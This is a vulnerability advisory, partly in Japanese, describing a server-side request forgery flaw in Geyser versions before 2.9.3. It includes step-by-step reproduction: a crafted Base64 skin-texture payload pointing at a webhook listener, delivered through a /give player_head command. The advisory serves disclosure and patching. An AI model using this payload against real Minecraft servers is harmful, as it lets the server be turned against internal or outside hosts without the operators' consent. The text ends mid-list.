| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| org.geysermc.geyser:core | < 2.9.3 | 2.9.3 |
| geyser | < 2.9.3 | 2.9.3 |
A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.
Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.
When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.
Setup Environment:
Prepare Listener:
https://webhook.site/YOUR-UUID).Construct Payload:
{"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)Execute Command:
/give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]Verify:
This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.
これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンAlthough the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for: